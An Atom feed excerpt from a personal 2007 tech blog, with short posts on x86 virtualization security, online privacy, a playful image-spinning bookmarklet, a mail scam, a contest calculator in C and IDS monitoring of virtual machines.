href='http://www.tylerkrpata.com/2007/11/yes-this-is-me.html' title='Yes, this is me.'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2204227083698130392</id><published>2007-10-25T15:13:00.001-04:00</published><updated>2007-10-25T15:15:29.486-04:00</updated><title type='text'>Theo de Raadt on x86 Virtualization</title><content type='html'>&lt;blockquote style="font-family: courier new;"&gt;&lt;b&gt;From: Theo de Raadt &amp;lt;deraadt@...&gt;&lt;/b&gt;&lt;br /&gt;Subject: &lt;a href="http://kerneltrap.org/mailarchive/openbsd-misc/2007/10/24/352059" title="Click to view this message in the openbsd-misc mail archive."&gt;Re: About Xen: maybe a reiterative question but ..&lt;br /&gt;&lt;/a&gt;Date: Oct 24, 3:14 am 2007&lt;br /&gt;&lt;br /&gt;&gt; Virtualization seems to have a lot of security benefits.&lt;br /&gt;&lt;br /&gt;You've been smoking something really mind altering, and I think you&lt;br /&gt;should share it.&lt;br /&gt;&lt;br /&gt;x86 virtualization is about basically placing another nearly full&lt;br /&gt;kernel, full of new bugs, on top of a nasty x86 architecture which&lt;br /&gt;barely has correct page protection.  Then running your operating&lt;br /&gt;system on the other side of this brand new pile of shit.&lt;br /&gt;&lt;br /&gt;You are absolutely deluded, if not stupid, if you think that a&lt;br /&gt;worldwide collection of software engineers who can't write operating&lt;br /&gt;systems or applications without security holes, can then turn around&lt;br /&gt;and suddenly write virtualization layers without security holes.&lt;br /&gt;&lt;br /&gt;You've seen something on the shelf, and it has all sorts of pretty&lt;br /&gt;colours, and you've bought it.&lt;br /&gt;&lt;br /&gt;That's all x86 virtualization is.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2204227083698130392?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2204227083698130392/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2204227083698130392' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2204227083698130392'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2204227083698130392'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/10/theo-de-raadt-on-x86-virtualization.html' title='Theo de Raadt on x86 Virtualization'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1580604317214024070</id><published>2007-08-31T11:58:00.000-04:00</published><updated>2007-08-31T12:43:53.504-04:00</updated><title type='text'>Managing your identity online</title><content type='html'>Have a look at this.&lt;br /&gt;&lt;a href="http://www.google.com/search?q=tyler+krpata"&gt;http://www.google.com/search?q=tyler+krpata&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If your name is unique and you spend time online, you probably have thought about how to manage your online persona. It's important to realize that anyone who knows your name, email address, etc. will, with enough effort, find any content that you've made available online. This includes photos, message board posts, blogs, and more. Once you've recognized that, it's up to you to decide how much or how little to say, and where to say it.&lt;br /&gt;&lt;br /&gt;I generally put my full, real name on content that I intend to be "public". That is, content that I wouldn't mind a co-worker or my mom taking a look at. I look at this as sort of an online resume. This is also content that I censor, both consciously and subconsciously. You won't find me posting much about what's going on in my life here. You can easily find out where I work and how to contact me, but not likely what I did last weekend. Generally, I try to avoid posting anything publicly online that I wouldn't want everyone to see. I find myself feeling cramped by this self-imposed censorship, but I think it's unavoidable.&lt;br /&gt;&lt;br /&gt;Unfortunately, there's more to it than controlling your Google results. A motivated person can iteratively mine data to find your online accounts and aliases where you may not include your full name or email address. It's important in these cases to make sure that any content that you don't want made public requires a login and your approval, or simply again to self-censor.&lt;br /&gt;&lt;br /&gt;Myspace is a prime example. Anyone who knows your full name can search for your Myspace profile, even if the profile itself does not contain any identifying information. My Myspace account was recently set to "private" so that you have to be on my friends list to view it. This is an important privacy measure, and one to be aware of.&lt;br /&gt;&lt;br /&gt;This is my brother's comment on the issue.&lt;br /&gt;&lt;blockquote&gt;I don't really put effort into keeping things segregated though. I use the same handle for message boards and LiveJournal and all that, and mostly what you get with my real name is my writing. Somebody could probably put it all together, but that wouldn't mean too much.&lt;/blockquote&gt;&lt;br /&gt;Let's see, shall we? I'd like to run through some simple steps where we can mine some data. (I'm not going to post his personal information here, though certainly someone with enough motivation could deduce it from my information.)&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;First, I Google his full name, and get close to 1000 hits. &lt;/li&gt;&lt;li&gt;From the second page, I pull his Amazon profile. &lt;/li&gt;&lt;li&gt;I now have his birthdate and online "nickname". &lt;/li&gt;&lt;li&gt;Luckily, this persona is unique enough that I get about 1500 hits, and some potentially objectionable content posted in forums and messageboards. (Mostly coarse humor.)&lt;/li&gt;&lt;li&gt;I'm also able to pull a LiveJournal based on this search. &lt;/li&gt;&lt;li&gt;Not only that, but someone who was looking could potentially deduce that when they see &lt;his&gt; and "Tyler" in the same place, it's probably me. (And they'd be right.)&lt;/li&gt;&lt;/ul&gt;So what do I know now? I know what he likes, I know who his friends are, I know how his sense of humor works, I know his political opinions. And I suppose the question is: DOES this mean anything? How much do we want our acquaintances, co-workers, relatives, or total strangers to find out about what we really think? About how we act and speak when we're online? If I make a rude comment or post a dirty joke online, it's no longer just between me and that person; it's between me, that person, and anyone else who cares to look. How much can we be "ourselves" on the Internet when we always have to consider a potential 3rd-party observer?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1580604317214024070?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1580604317214024070/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1580604317214024070' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1580604317214024070'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1580604317214024070'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/08/managing-your-identity-online.html' title='Managing your identity online'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-971014008507899356</id><published>2007-08-08T12:48:00.000-04:00</published><updated>2007-08-08T12:50:12.887-04:00</updated><title type='text'>A cool little trick</title><content type='html'>&lt;ul&gt;&lt;li&gt;Go to a web site with a few images on the page. For example, go to images.google.com and search for anything. (“tie fighter” would be a cool one.)&lt;/li&gt;&lt;li&gt;Copy the following code, paste it into your browser’s address bar, and press enter (or hit “go”, however you want to do it.) .&lt;/li&gt;&lt;/ul&gt;&lt;code&gt;javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; i-DIL; i++){DIS=DI[ i ].style; DIS.position='absolute'; DIS.left=Math.sin(R*x1+i*x2+x3)*x4+x5; DIS.top=Math.cos(R*y1+i*y2+y3)*y4+y5}R++}setInterval('A()',5); void(0);&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-971014008507899356?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/971014008507899356/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=971014008507899356' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/971014008507899356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/971014008507899356'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/08/cool-little-trick.html' title='A cool little trick'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5408856266577665421</id><published>2007-08-03T11:43:00.000-04:00</published><updated>2007-08-03T11:46:55.933-04:00</updated><title type='text'>Snail Mail Scam</title><content type='html'>I won $52,000!!&lt;br /&gt;&lt;br /&gt;Well, not really.&lt;br /&gt;&lt;br /&gt;Check out the letter and check (to cover "clearance fees"). Sadly, I'm sure MANY people out there are falling for this.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RrNNjszpspI/AAAAAAAAAA4/I3bX9H4J4R0/s1600-h/scam_letter.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RrNNjszpspI/AAAAAAAAAA4/I3bX9H4J4R0/s400/scam_letter.jpg" alt="" id="BLOGGER_PHOTO_ID_5094500879204725394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RrNNvszpsqI/AAAAAAAAABA/8tDb66zm-yc/s1600-h/scam_check.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RrNNvszpsqI/AAAAAAAAABA/8tDb66zm-yc/s400/scam_check.jpg" alt="" id="BLOGGER_PHOTO_ID_5094501085363155618" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5408856266577665421?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5408856266577665421/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5408856266577665421' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5408856266577665421'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5408856266577665421'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/08/snail-mail-scam.html' title='Snail Mail Scam'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RrNNjszpspI/AAAAAAAAAA4/I3bX9H4J4R0/s72-c/scam_letter.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-2197313855799672761</id><published>2007-07-24T17:59:00.001-04:00</published><updated>2007-07-24T18:11:00.770-04:00</updated><title type='text'>in ur datacenter, breakin ur web 2.0</title><content type='html'>So apparently, according to &lt;a href="http://valleywag.com/tech/breakdowns/a-drunk-employee-kills-all-of-the-websites-you-care-about-282021.php"&gt;this site&lt;/a&gt;, either a power outage or a drunken employee (or both) knocked several popular web sites offline this evening, including LiveJournal, Craigslist, TypePad, and Technorati.&lt;br /&gt;&lt;br /&gt;I searched Google News for the name of the datacenter, 365 Main. All I found was COMEDY GOLD.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RqZ3O8zpsoI/AAAAAAAAAAw/VP6vc-9vw1E/s1600-h/untitled.bmp"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RqZ3O8zpsoI/AAAAAAAAAAw/VP6vc-9vw1E/s400/untitled.bmp" alt="" id="BLOGGER_PHOTO_ID_5090887527513567874" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Which makes me believe that I can no longer use Google for breaking news. I ended up finding this information on Digg, which is a big win for "Web 2.0".&lt;br /&gt;&lt;br /&gt;(Despite the fact that Digg seems to be the only "Web 2.0" site up and running right now, that is.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-2197313855799672761?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/2197313855799672761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=2197313855799672761' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2197313855799672761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/2197313855799672761'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/07/in-ur-datacenter.html' title='in ur datacenter, breakin ur web 2.0'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SYE2yJ9M5jQ/RqZ3O8zpsoI/AAAAAAAAAAw/VP6vc-9vw1E/s72-c/untitled.bmp' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5198720697791320609</id><published>2007-07-19T16:08:00.001-04:00</published><updated>2007-07-19T16:11:26.119-04:00</updated><title type='text'>Wikivice referers</title><content type='html'>I was checking out the HTTP referers to Wikivice, and I noticed a handful that came in from this blog.&lt;br /&gt;&lt;br /&gt;I didn't even know a handful of people READ this blog.&lt;br /&gt;&lt;br /&gt;I love you, whoever you are!&lt;br /&gt;&lt;br /&gt;Oddly enough, there were even people coming in from my Twitter post (http://twitter.com/tkrpata), and I *know* nobody reads that!   &lt;br /&gt;&lt;br /&gt;(Sidenote: I hate writing "HTTP referer," because I'm never sure if I should spell it correctly, or spell it the way it shows up in the HTTP header.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5198720697791320609?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5198720697791320609/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5198720697791320609' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5198720697791320609'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5198720697791320609'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/07/wikivice-referers.html' title='Wikivice referers'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3057384891235819441</id><published>2007-07-16T13:59:00.001-04:00</published><updated>2007-07-16T14:01:31.576-04:00</updated><title type='text'>Wikivice</title><content type='html'>Today I launched a new web site called &lt;a href="http://www.wikivice.com"&gt;Wikivice &lt;/a&gt;(the free advice column that anyone can edit). &lt;span class="postbody"&gt;The idea is that the community will collaborate to write the best answer to a given question, much like on Wikipedia the community collaborates to write the best entry on a given subject.&lt;br /&gt;&lt;br /&gt;I'm hoping to get some traffic by word-of-mouth, and go from there. I think this has the potential to be great, but I need to build a solid user community in order for the site to be a success.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.wikivice.com"&gt;http://www.wikivice.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3057384891235819441?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3057384891235819441/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3057384891235819441' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3057384891235819441'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3057384891235819441'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/07/wikivice.html' title='Wikivice'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1646839484615492547</id><published>2007-07-06T11:00:00.000-04:00</published><updated>2007-07-06T11:04:18.799-04:00</updated><title type='text'>My OMGWTF Calculator</title><content type='html'>A while back, I submitted &lt;a href="http://omg.worsethanfailure.com/Entries/ViewEntry.aspx?id=100126"&gt;an entry to the Worse than Failure Olympiad of Misguided Geeks contest.&lt;/a&gt; I didn't win, but I thought my entry was somewhat clever.&lt;br /&gt;&lt;br /&gt;The contest was to implement a 4-function calculator in the most "WTF" way possible. My entry took advantage of the fact that floating point representation of the correct result of each &lt;a href="http://omg.worsethanfailure.com/Entries/Requirements/TestCases.aspx"&gt;test case&lt;/a&gt; was also an invalid memory address. I performed the calculations in the expected way, but instead of returning the result, I attempted to write to that memory location.&lt;br /&gt;&lt;pre&gt;sprintf( (char *) *(int *) &amp;r, "&lt;a href="http://worsethanfailure.com/Articles/The_Brillant_Paula_Bean.aspx"&gt;paula = brillant&lt;/a&gt;");&lt;/pre&gt;There was some amount of &lt;a href="http://en.wikipedia.org/wiki/Type_punning"&gt;type punning&lt;/a&gt; that needed to happen in order to maintain the float representation of the result, as you can see.&lt;br /&gt;&lt;br /&gt;I set up a signal handler to handle SIGSEGV (segmentation fault), and used setjmp/longjmp to return the invalid address/correct result at a known-good location in the program. I set up a similar handler for SIGFPE (floating point exception) to correctly report an error when attempting to divide by zero. The meat of it occurs in this conditional:&lt;br /&gt;&lt;pre&gt;if(sigsetjmp(err_env, 1)) {&lt;br /&gt;SetDisplayText("Err");&lt;br /&gt;} else if(int result = sigsetjmp(ans_env, 1)) {&lt;br /&gt;siginfo_t *sigInfo = (siginfo_t *)result;&lt;br /&gt;sprintf(newText, "%g", *(float *)&amp;sigInfo-&gt;si_addr);&lt;br /&gt;SetDisplayText(newText);&lt;br /&gt;} else {&lt;br /&gt;DoOperation(g_Operator, op1, op2);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;As you can see, the result is contained in the si_addr field of the appropriate &lt;a href="http://www.mkssoftware.com/docs/man5/siginfo_t.5.asp"&gt;siginfo_t&lt;/a&gt; struct.&lt;br /&gt;&lt;br /&gt;Some of the &lt;a href="http://worsethanfailure.com/Articles/Announcing-the-OMGTWTF-Winner.aspx"&gt;winners &lt;/a&gt;obviously put a lot of thought and time into their entries, and I was very impressed at the creativity they showed. I'm also proud of my little idea, and I had a lot of fun writing it!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1646839484615492547?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1646839484615492547/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1646839484615492547' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1646839484615492547'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1646839484615492547'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/my-omgwtf-calculator.html' title='My OMGWTF Calculator'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-5894548177739284608</id><published>2007-07-03T13:51:00.001-04:00</published><updated>2007-07-03T13:59:34.235-04:00</updated><title type='text'>Extending IDS into the virtual environment</title><content type='html'>I'm going to just credit my colleague Nick for this idea, and maybe someday he can point to this blog post to prove that he thought of it first.&lt;br /&gt;&lt;br /&gt;We've been exploring our options for IDS visibility into a virtual switch in order to monitor traffic between VM's; that is, traffic that never shows up on the physical NIC. I've discovered, though I need to confirm, that if you allow a virtual NIC on a VM to enter promiscuous mode on VMWare ESX server, the virtual switch port becomes effectively a span port. Based on this, I've been trying to think of an efficient way to shuttle that sniffed traffic off of the VM and get it where I need it to go.&lt;br /&gt;&lt;br /&gt;Nick suggested that perhaps Sourcefire (and IDS vendors in general, too) should just offer a virtual version of their IPS appliance that you can just bring up on your VMWare server. This is so head-slappingly obvious that I can't believe it's not currently an option.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-5894548177739284608?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/5894548177739284608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=5894548177739284608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5894548177739284608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/5894548177739284608'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/07/extending-ids-into-virtual-environment.html' title='Extending IDS into the virtual environment'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-1044006615006255098</id><published>2007-06-29T10:06:00.000-04:00</published><updated>2007-07-17T12:34:46.132-04:00</updated><title type='text'>Malicious payload based on user-agent string</title><content type='html'>Websense Security Labs has a blog post about &lt;a href="http://www.websense.com/securitylabs/blog/blog.php?BlogID=132"&gt;a malicious site serving up payloads based on the HTTP user-agent string.&lt;/a&gt; This is something I've seen in the wild many times, and I kind of thought it was old news. The easiest way to get around this kind of simple protection is to set the user-agent string sent by wget. You'll want to use the "--user-agent" option, and there is an extensive list of user-agent strings at &lt;a href="http://www.user-agents.org/"&gt;http://www.user-agents.org&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Pro-tip: a generally malware-ok user-agent string is &lt;span style="font-family:monospace;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;tt&gt;Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)&lt;/tt&gt;&lt;br /&gt;&lt;br /&gt;Update: You can also do &lt;a href="http://blogs.law.harvard.edu/zeroday/2007/07/12/simple-shell-script-for-testing-badware/"&gt;this&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-1044006615006255098?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/1044006615006255098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=1044006615006255098' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1044006615006255098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/1044006615006255098'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/malicious-payload-based-on-user-agent.html' title='Malicious payload based on user-agent string'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3721461976778103389</id><published>2007-06-27T14:30:00.000-04:00</published><updated>2007-06-27T14:33:47.647-04:00</updated><title type='text'>Virtualization Threats Ahead</title><content type='html'>This is exactly a point I've been trying (and failing) to express clearly of late. From &lt;a href="http://www.informationweek.com/software/showArticle.jhtml?articleID=199902576%20"&gt;How 9 Hot Technologies Can Blow Up In Your Face&lt;/a&gt; on InformationWeek.&lt;br /&gt;&lt;blockquote&gt;If organizations keep expanding server virtualization without taking into account what makes virtual machines different from physical ones, they'll open new doors for intruders into the data center. We can't identify the precise nature of the threats, because they haven't yet materialized. But anyone who takes comfort in that fact hasn't been paying attention to information security the past couple of years.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3721461976778103389?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3721461976778103389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3721461976778103389' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3721461976778103389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3721461976778103389'/><link rel='alternate' type='text/html' href='http://www.tylerkrpata.com/2007/06/virtualization-threats-ahead.html' title='Virtualization Threats Ahead'/><author><name>Tyler Krpata</name><uri>http://www.blogger.com/profile/17553514293418384206</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6697834366425048596.post-3998422524415120042</id><published>2007-06-21T17:45:00.000-04:00</published><updated>2007-06-21T17:53:40.613-04:00</updated><title type='text'>Still not a zealot...</title><content type='html'>But &lt;a href="http://slashdot.org/article.pl?sid=07/06/21/1146259"&gt;about half of Slashdot Is Not Getting It At An Olympic Level&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In summary,&lt;br /&gt;&lt;br /&gt;Some guy:&lt;br /&gt;&lt;blockquote&gt;open source = you can see the source&lt;/blockquote&gt;&lt;br /&gt;Bruce Perens:&lt;br /&gt;&lt;blockquote&gt; Sigh. I imagine you use some of this Open Source software sometimes. Please try to get your head around the fact that it would not be possible for such software to exist and for folks like you to benefit from it, unless it was developed. And it would not be developed without a developer community, and that community would not be able to do their work unless they had the right to modify and redistribute the software. Thus, Open Source &lt;i&gt;must&lt;/i&gt; be more than just visible source code - it has to include the right to distribute and modify, and it also needs the right for you to use it. So, that's 4 things - source, use privilege, distribution privilege, modification privilege and there's a bit more. Years ago, I wrote down what was necessary for software to be Open Source, and OSI uses that Open Source Definition to classify licenses. It is not an arbitrary thing.&lt;/blockquote&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6697834366425048596-3998422524415120042?l=www.tylerkrpata.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.tylerkrpata.com/feeds/3998422524415120042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6697834366425048596&amp;postID=3998422524415120042' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6697834366425048596/posts/default/3998422524415120042'/><link rel='self' type='application/atom+xml' 